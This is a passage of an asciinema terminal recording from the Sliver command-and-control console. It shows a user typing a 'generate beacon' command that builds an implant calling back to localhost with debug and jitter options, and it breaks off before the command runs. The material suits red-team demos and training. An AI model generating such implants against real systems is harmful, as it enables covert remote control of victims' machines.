[6.800339, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.80793, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[9C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[6.873036, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.880291, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[9C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[6.914397, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.9203, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[6.920508, "o", "\u001b[1A\u001b[33D\u001b[9C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[7.057965, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.058914, "o", "\u001b[6n"]
|
||||
[7.07196, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[9C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[7.121583, "o", "\u001b[?25l\u001b[107D"]
|
||||
[7.124019, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.127161, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[7.127736, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[9C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[7.155871, "o", "\u001b[?25l\u001b[107D"]
|
||||
[7.156541, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.158839, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[9C\u001b[107D\u001b[36C"]
|
||||
[7.159281, "o", "\u001b[?25h"]
|
||||
[7.249506, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.255894, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.256084, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[9C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[7.319518, "o", "\u001b[?25l"]
|
||||
[7.321996, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.326926, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[9C\u001b[107D\u001b[38C"]
|
||||
[7.327526, "o", "\u001b[?25h"]
|
||||
[8.244613, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.259371, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.261152, "o", "\u001b[107D\u001b[1A\u001b[39D\u001b[9C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[8.373314, "o", "\u001b[?25l"]
|
||||
[8.381984, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.386997, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.387176, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[9C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[8.54582, "o", "\u001b[?25l\u001b[107D"]
|
||||
[8.546314, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.551965, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.553877, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[9C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[8.659966, "o", "\u001b[?25l"]
|
||||
[8.664278, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.668403, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.669495, "o", "\u001b[107D\u001b[1A\u001b[42D\u001b[9C\u001b[107D\u001b[42C\u001b[?25h"]
|
||||
[8.774433, "o", "\u001b[?25l"]
|
||||
[8.776254, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.782822, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[9C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[8.861897, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.869467, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[44D\u001b[9C\u001b[107D\u001b[44C\u001b[?25h"]
|
||||
[9.209609, "o", "\u001b[?25l"]
|
||||
[9.211815, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.218382, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[45D\u001b[9C\u001b[107D\u001b[45C\u001b[?25h"]
|
||||
[9.369014, "o", "\u001b[?25l"]
|
||||
[9.370477, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.383545, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[46D\u001b[9C\u001b[107D\u001b[46C\u001b[?25h"]
|
||||
[9.538155, "o", "\u001b[?25l"]
|
||||
[9.539319, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.542469, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-sy\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[9.543267, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[47D\u001b[9C\u001b[107D\u001b[47C\u001b[?25h"]
|
||||
[9.941324, "o", "\u001b[?25l"]
|
||||
[9.956412, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.961491, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-sym\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[9.96293, "o", "\u001b[1A\u001b[48D\u001b[9C\u001b[107D\u001b[48C\u001b[?25h"]
|
||||
[10.166048, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.175508, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.177995, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[49D\u001b[9C\u001b[107D\u001b[49C\u001b[?25h"]
|
||||
[10.253067, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.25789, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[50D\u001b[9C\u001b[107D"]
|
||||
[10.258848, "o", "\u001b[50C\u001b[?25h"]
|
||||
[10.313217, "o", "\u001b[1 q"]
|
||||
[10.34198, "o", "\u001b[1 q"]
|
||||
[10.342195, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.344477, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.344758, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[53D\u001b[9C\u001b[107D\u001b[53C\u001b[?25h"]
|
||||
[10.88006, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.888613, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.890304, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[54D\u001b[9C\u001b[107D\u001b[54C\u001b[?25h"]
|
||||
[11.002112, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.014464, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.015491, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[55D\u001b[9C\u001b[107D\u001b[55C\u001b[?25h"]
|
||||
[11.283116, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.299121, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.300946, "o", "\u001b[107D\u001b[1A\u001b[56D\u001b[9C\u001b[107D\u001b[56C\u001b[?25h"]
|
||||
[11.336739, "o", "\u001b[?25l\u001b[107D"]
|
||||
[11.338443, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.344194, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[57D\u001b[9C"]
|
||||
[11.344355, "o", "\u001b[107D\u001b[57C\u001b[?25h"]
|
||||
[11.357833, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.358428, "o", "\u001b[6n"]
|
||||
[11.361392, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[58D\u001b[9C\u001b[107D\u001b[58C\u001b[?25h"]
|
||||
[11.405303, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.405633, "o", "\u001b[6n"]
|
||||
[11.407984, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.408951, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[59D\u001b[9C\u001b[107D\u001b[59C\u001b[?25h"]
|
||||
[11.591917, "o", "\u001b[?25l"]
|
||||
[11.597606, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.604722, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.605927, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[60D\u001b[9C\u001b[107D\u001b[60C\u001b[?25h"]
|
||||
[11.704325, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.712392, "o", "\u001b[6n"]
|
||||
[11.716215, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.716363, "o", "\u001b[107D\u001b[1A\u001b[61D\u001b[9C\u001b[107D\u001b[61C\u001b[?25h"]
|
||||
[12.326269, "o", "\u001b[?25l"]
|
||||
[12.328608, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.334497, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[12.336471, "o", "\u001b[1A\u001b[62D\u001b[9C\u001b[107D\u001b[62C\u001b[?25h"]
|
||||
[12.619637, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.628956, "o", "\u001b[6n"]
|
||||
[12.634937, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[63D\u001b[9C\u001b[107D\u001b[63C\u001b[?25h"]
|
||||
[13.029882, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.031634, "o", "\u001b[6n"]
|
||||
[13.036477, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[13.036757, "o", "\u001b[107D\u001b[1A\u001b[64D\u001b[9C\u001b[107D\u001b[64C\u001b[?25h"]
|
||||
[13.308092, "o", "\u001b[?25l"]
|
||||
[13.312959, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.318384, "o", "\u001b[6n"]
|
||||
[13.32643, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[65D\u001b[9C\u001b[107D\u001b[65C\u001b[?25h"]
|
||||
[13.810937, "o", "\u001b[?25l\u001b[107D"]
|
||||
[13.81462, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.824223, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.825588, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[66D\u001b[9C\u001b[107D\u001b[66C\u001b[?25h"]
|
||||
[14.693013, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.700287, "o", "\u001b[6n"]
|
||||
[14.706924, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[67D\u001b[9C\u001b[107D\u001b[67C\u001b[?25h"]
|
||||
[15.237577, "o", "\u001b[?25l\u001b[107D"]
|
||||
[15.241053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[15.247009, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[15.249159, "o", "\u001b[1A\u001b[68D\u001b[9C\u001b[107D\u001b[68C\u001b[?25h"]
|
||||
[15.479446, "o", "\u001b[1 q"]
|
||||
[15.506974, "o", "\u001b[1 q"]
|
||||
[15.50792, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.509462, "o", "\u001b[6n"]
|
||||
[15.513203, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.515282, "o", "\u001b[2mbeacon interval seconds\u001b[0m\u001b[0m\u001b[0K\r\r\n\u001b[0K\u001b[0m\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[1A\u001b[68D\u001b[9C\u001b[107D\u001b[68C\u001b[?25h"]
|
||||
[17.033385, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.04594, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[69D\u001b[9C\u001b[107D\u001b[69C\u001b[?25h"]
|
||||
[18.826391, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.830292, "o", "\u001b[6n"]
|
||||
[18.838831, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m1\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[70D\u001b[9C\u001b[107D\u001b[70C\u001b[?25h"]
|
||||
[19.106227, "o", "\u001b[?25l"]
|
||||
[19.108266, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.114835, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.115864, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[71D\u001b[9C\u001b[107D\u001b[71C\u001b[?25h"]
|
||||
[19.912306, "o", "\u001b[?25l"]
|
||||
[19.918021, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[19.920087, "o", "\u001b[6n"]
|
||||
[19.93003, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[19.931567, "o", "\u001b[1A\u001b[72D\u001b[9C\u001b[107D\u001b[72C\u001b[?25h"]
|
||||
[20.168864, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.171906, "o", "\u001b[6n"]
|
||||
[20.178129, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.178608, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[73D\u001b[9C\u001b[107D\u001b[73C\u001b[?25h"]
|
||||
[20.297124, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.30462, "o", "\u001b[6n"]
|
||||
[20.311177, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[20.313065, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[74D\u001b[9C\u001b[107D\u001b[74C\u001b[?25h"]
|
||||
